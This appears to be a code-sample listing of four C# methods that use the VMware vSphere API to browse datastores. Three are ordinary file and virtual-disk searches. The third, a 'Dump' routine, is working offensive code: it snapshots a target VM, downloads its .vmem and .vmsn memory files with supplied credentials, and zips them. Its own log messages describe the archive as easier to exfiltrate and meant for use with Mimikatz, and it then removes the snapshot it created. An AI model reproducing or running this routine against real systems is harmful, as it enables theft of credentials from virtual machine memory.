Esempio n. 1
0
        public VimDatastoreItem[] FindDatastoreItemsInFolder(string folderName, VimClientlContext ctx)
        {
            if (this.snapshotDiskPattern == null)
            {
                this.snapshotDiskPattern = new Regex("w*-[0-9][0-9][0-9][0-9][0-9][0-9]w*");
            }
            List <VimDatastoreItem>           vimDatastoreItemList   = new List <VimDatastoreItem>();
            HostDatastoreBrowserSearchResults datastoreSearchResults = this.GetDatastoreSearchResults(VCService.GetVolumeName(this.Name) + folderName, ctx);

            if (datastoreSearchResults != null && datastoreSearchResults.file != null && datastoreSearchResults.file.Length != 0)
            {
                foreach (VimApi.FileInfo fileInfo in datastoreSearchResults.file)
                {
                    VimDatastoreItem vimDatastoreItem = new VimDatastoreItem()
                    {
                        Name = fileInfo.path, Size = fileInfo.fileSize
                    };
                    if (fileInfo is FolderFileInfo)
                    {
                        vimDatastoreItem.Type = "FOLDER";
                    }
                    else if (fileInfo is VmDiskFileInfo && !this.snapshotDiskPattern.IsMatch(fileInfo.path))
                    {
                        vimDatastoreItem.Type = "VMDK";
                    }
                    else
                    {
                        continue;
                    }
                    vimDatastoreItemList.Add(vimDatastoreItem);
                }
            }
            return(vimDatastoreItemList.ToArray());
        }
Esempio n. 2
0
        private HostDatastoreBrowserSearchResults GetDatastoreSearchResults(string datastorePath, VimClientlContext ctx)
        {
            HostDatastoreBrowserSearchResults browserSearchResults = (HostDatastoreBrowserSearchResults)null;

            ManagedObjectReference[] managedObjects = this.GetManagedObjects(new string[1] {
                "browser"
            });
            HostDatastoreBrowserSearchSpec searchSpec = new HostDatastoreBrowserSearchSpec();
            VmDiskFileQuery vmDiskFileQuery           = new VmDiskFileQuery();

            vmDiskFileQuery.details            = new VmDiskFileQueryFlags();
            vmDiskFileQuery.details.capacityKb = true;
            searchSpec.details                    = new FileQueryFlags();
            searchSpec.details.fileSize           = true;
            searchSpec.details.fileOwner          = false;
            searchSpec.details.fileOwner          = false;
            searchSpec.details.fileType           = true;
            searchSpec.details.fileOwnerSpecified = true;
            searchSpec.query = new FileQuery[2]
            {
                (FileQuery) new FolderFileQuery(),
                (FileQuery)vmDiskFileQuery
            };
            Task              task   = new Task(this.VcService, this.VcService.Service.SearchDatastore_Task(managedObjects[0], datastorePath, searchSpec));
            string            op     = "Search Datastore";
            VimClientlContext rstate = ctx;

            task.WaitForResult(op, rstate);
            string[] properties1 = new string[1] {
                "info.result"
            };
            Dictionary <string, object> properties2 = task.GetProperties(properties1);

            if (properties2.ContainsKey("info.result"))
            {
                browserSearchResults = (HostDatastoreBrowserSearchResults)properties2["info.result"];
            }
            return(browserSearchResults);
        }
Esempio n. 3
0
        static int Dump(DumpOptions options)
        {
            try
            {
                //Connect to target
                Connect(options.url, options.username, options.password, null);

                //Find target VM
                vm = GetTargetVM(options.targetvm);
                if (vm is null)
                {
                    Error(new Exception("Failed to find target VM " + options.targetvm + ", are you sure the name is right?"));
                }

                //Create Snapshot if specified, otherwise find existing one
                ManagedObjectReference snapshot = GetSnapshot(options.targetvm, options.snapshot);

                //Get information about the snapshot
                VirtualMachineFileInfo fileInfo = GetProperty <VirtualMachineConfigInfo>(snapshot, "config").files;

                //Build the objects we need
                ManagedObjectReference environmentBrowser = GetProperty <ManagedObjectReference>(vm, "environmentBrowser");
                ManagedObjectReference datastoreBrowser   = GetProperty <ManagedObjectReference>(environmentBrowser, "datastoreBrowser");

                //Search for a vmem file
                ManagedObjectReference task = vim.SearchDatastore_Task(datastoreBrowser, fileInfo.snapshotDirectory, GetHostDatastoreBrowserSearchSpec());
                TaskInfo info  = GetProperty <TaskInfo>(task, "info");
                string   state = info.state.ToString();
                while (state != "success")
                {
                    switch (state)
                    {
                    case "error":
                        Error(new Exception("Error searching datastore for snapshot files"));
                        break;

                    case "running":
                        Thread.Sleep(1000);
                        break;
                    }
                    state = GetProperty <TaskInfo>(task, "info").state.ToString();
                }
                HostDatastoreBrowserSearchResults results = (HostDatastoreBrowserSearchResults)GetProperty <TaskInfo>(task, "info").result;


                //Check at least one vmem exists, which it may not if not using --snapshot
                FileInfo latestFile = null;
                if (results.file.Length == 0)
                {
                    Error(new Exception("Failed to find any .vmem files associated with the VM, despite there being snapshots. Virtual machine memory may not have been captured. Recommend rerunning with --snapshot"));
                }

                //Grab the latest .vmem file if there is more than one associated with a VM
                foreach (FileInfo file in results.file)
                {
                    if (latestFile == null || DateTime.Compare(file.modification, latestFile.modification) > 0)
                    {
                        latestFile = file;
                    }
                }

                //Build the URLs to download directly from datastore
                string host       = options.url.Remove(options.url.Length - 4);
                string dsName     = FindTextBetween(results.folderPath, "[", "]");
                string folderPath = results.folderPath.Remove(0, dsName.Length + 3);
                string vmemURL    = host + "/folder/" + folderPath + latestFile.path + "?dcPath=" + datacenterName + "&dsName=" + dsName;
                string vmsnURL    = host + "/folder/" + folderPath + latestFile.path.Replace(".vmem", ".vmsn") + "?dcPath=" + datacenterName + "&dsName=" + dsName;
                string vmemFile   = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName();
                string vmsnFile   = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName();
                string zipFile    = options.destination.Replace("\"", string.Empty) + @"\" + Path.GetRandomFileName();

                //Make the web requests
                using (var client = new System.Net.WebClient())
                {
                    client.Credentials = new System.Net.NetworkCredential(options.username, options.password);
                    client.Headers.Set(System.Net.HttpRequestHeader.ContentType, "application/octet-stream");
                    client.CachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.NoCacheNoStore);
                    Log("[x] Downloading " + latestFile.path + " (" + latestFile.fileSize / 1048576 + @"MB) to " + vmemFile + "...");
                    client.DownloadFile(vmemURL, vmemFile);

                    Log("[x] Downloading " + latestFile.path.Replace(".vmem", ".vmsn") + " to " + vmsnFile + "...");
                    client.DownloadFile(vmsnURL, vmsnFile);
                }

                //Zip up the two downloaded files
                Log("[x] Download complete, zipping up so it's easier to exfiltrate...");
                var zip = ZipFile.Open(zipFile, ZipArchiveMode.Create);
                zip.CreateEntryFromFile(vmemFile, Path.GetFileName(vmemFile), CompressionLevel.Optimal);
                zip.CreateEntryFromFile(vmsnFile, Path.GetFileName(vmsnFile), CompressionLevel.Optimal);
                zip.Dispose();
                File.Delete(vmemFile);
                File.Delete(vmsnFile);
                System.IO.FileInfo zipFileInfo = new System.IO.FileInfo(zipFile);
                Log("[x] Zipping complete, download " + zipFile + " (" + zipFileInfo.Length / 1048576 + "MB), rename to .zip, and follow instructions to use with Mimikatz");

                //Delete the snapshot we created if needed
                if (options.snapshot)
                {
                    Log("[x] Deleting the snapshot we created");
                    vim.RemoveSnapshot_Task(snapshot, false, true);
                }
            }
            catch (Exception fault)
            {
                Error(fault);
            }
            return(0);
        }
Esempio n. 4
0
        public void GetVirtualDiskFilesForHost()
        {
            try
            {
                _service = ecb.getConnection().Service;
                _sic     = ecb.getConnection().ServiceContent;

                ArrayList supportedVersions = VersionUtil.getSupportedVersions(ecb.get_option("url"));
                ManagedObjectReference hmor = _service.FindByIp(ecb.getConnection().ServiceContent.searchIndex, null, ecb.get_option("hostip"), false);
                if (hmor == null)
                {
                    Console.WriteLine("Unable to find host with IP : " + ecb.get_option("hostip") + " in Inventory");
                }
                else
                {
                    if (VersionUtil.isApiVersionSupported(supportedVersions, "2.5"))
                    {
                        Object[] datastores = getProperties(hmor, new String[] { "datastore" });
                        Console.WriteLine("Searching The Datastores");
                        ManagedObjectReference[] dstoreArr = datastores[0] as ManagedObjectReference[];
                        foreach (ManagedObjectReference dstore in dstoreArr)
                        {
                            ManagedObjectReference dsBrowser =
                                ecb.getServiceUtil().GetMoRefProp(dstore, "browser");
                            ObjectContent[]  objary = ecb.getServiceUtil().GetObjectProperties(_sic.propertyCollector, dstore, new String[] { "summary" });
                            DatastoreSummary ds     = objary[0].propSet[0].val as DatastoreSummary;
                            String           dsName = ds.name;
                            Console.WriteLine("");
                            Console.WriteLine("Searching The Datastore " + dsName);
                            VmDiskFileQueryFilter vdiskFilter = new VmDiskFileQueryFilter();
                            String[] type = { "VirtualIDEController" };
                            vdiskFilter.controllerType = type;
                            Boolean flag = VersionUtil.isApiVersionSupported(supportedVersions, "4.0");
                            if (flag)
                            {
                                vdiskFilter.thin = true;
                            }
                            VmDiskFileQuery fQuery = new VmDiskFileQuery();
                            fQuery.filter = vdiskFilter;

                            HostDatastoreBrowserSearchSpec searchSpec = new HostDatastoreBrowserSearchSpec();

                            FileQuery[] arr = { fQuery };
                            searchSpec.query = arr;
                            //searchSpec.setMatchPattern(matchPattern);

                            ManagedObjectReference taskmor = _service.SearchDatastoreSubFolders_Task(dsBrowser, "[" + dsName + "]", searchSpec);

                            object[] result = ecb.getServiceUtil().WaitForValues(taskmor, new string[] { "info.state", "info.result" },
                                                                                 new string[] { "state" }, // info has a property - state for state of the task
                                                                                 new object[][] { new object[] { TaskInfoState.success, TaskInfoState.error } }
                                                                                 );

                            // Wait till the task completes.
                            if (result[0].Equals(TaskInfoState.success))
                            {
                                ObjectContent[] objTaskInfo = ecb.getServiceUtil().GetObjectProperties(_sic.propertyCollector, taskmor, new String[] { "info" });
                                TaskInfo        tInfo       = (TaskInfo)objTaskInfo[0].propSet[0].val;;
                                HostDatastoreBrowserSearchResults[] searchResult = (HostDatastoreBrowserSearchResults[])tInfo.result;

                                int len = searchResult.Length;
                                for (int j = 0; j < len; j++)
                                {
                                    HostDatastoreBrowserSearchResults sres
                                        = searchResult[j];
                                    FileInfo[] fileArray = sres.file;
                                    if (fileArray != null)
                                    {
                                        for (int z = 0; z < fileArray.Length; z++)
                                        {
                                            Console.WriteLine("Virtual Disks Files " + fileArray[z].path);
                                        }
                                    }
                                    else
                                    {
                                        Console.WriteLine("No Thin-provisioned Virtual Disks Files found");
                                    }
                                }
                            }
                            else
                            {
                                Console.WriteLine("SearchDatastoreSubFolders Task couldn't be completed successfully");
                            }
                        }
                    }
                    else
                    {
                        Object[] datastores = getProperties(hmor, new String[] { "datastore" });
                        Console.WriteLine("Searching The Datastores");
                        ManagedObjectReference[] dstoreArr = datastores[0] as ManagedObjectReference[];
                        foreach (ManagedObjectReference dstore in dstoreArr)
                        {
                            ManagedObjectReference dsBrowser = (ManagedObjectReference)
                                                               ecb.getServiceUtil().GetMoRefProp(dstore, "browser");
                            ObjectContent[]  objary = ecb.getServiceUtil().GetObjectProperties(_sic.propertyCollector, dstore, new String[] { "summary" });
                            DatastoreSummary ds     = objary[0].propSet[0].val as DatastoreSummary;

                            String dsName = ds.name;
                            Console.WriteLine("");
                            Console.WriteLine("Searching The Datastore " + dsName);
                            HostDatastoreBrowserSearchSpec searchSpec = new HostDatastoreBrowserSearchSpec();
                            ManagedObjectReference         taskmor    = _service.SearchDatastoreSubFolders_Task(dsBrowser, "[" + dsName + "]", searchSpec);
                            object[] result = ecb.getServiceUtil().WaitForValues(taskmor, new string[] { "info.state", "info.result" },
                                                                                 new string[] { "state" }, // info has a property - state for state of the task
                                                                                 new object[][] { new object[] { TaskInfoState.success, TaskInfoState.error } }
                                                                                 );
                            // Wait till the task completes.
                            if (result[0].Equals(TaskInfoState.success))
                            {
                                ObjectContent[] objTaskInfo = ecb.getServiceUtil().GetObjectProperties(_sic.propertyCollector, taskmor, new String[] { "info" });
                                TaskInfo        tInfo       = (TaskInfo)objTaskInfo[0].propSet[0].val;;
                                HostDatastoreBrowserSearchResults[] searchResult = (HostDatastoreBrowserSearchResults[])tInfo.result;
                                int len = searchResult.Length;
                                for (int j = 0; j < len; j++)
                                {
                                    HostDatastoreBrowserSearchResults sres
                                        = searchResult[j];
                                    FileInfo[] fileArray = sres.file;
                                    for (int z = 0; z < fileArray.Length; z++)
                                    {
                                        Console.WriteLine("Virtual Disks Files " + fileArray[z].path);
                                    }
                                }
                            }
                            else
                            {
                                Console.WriteLine("SearchDatastoreSubFolders Task couldn't be completed successfully");
                            }
                        }
                    }
                }
            }
            catch (Exception e)
            {
                ecb.log.LogLine("VirtualDiskFiles : Failed Connect");
                throw e;
            }
            finally
            {
                ecb.log.LogLine("Ended VirtualDiskFiles");
                ecb.log.Close();
            }
        }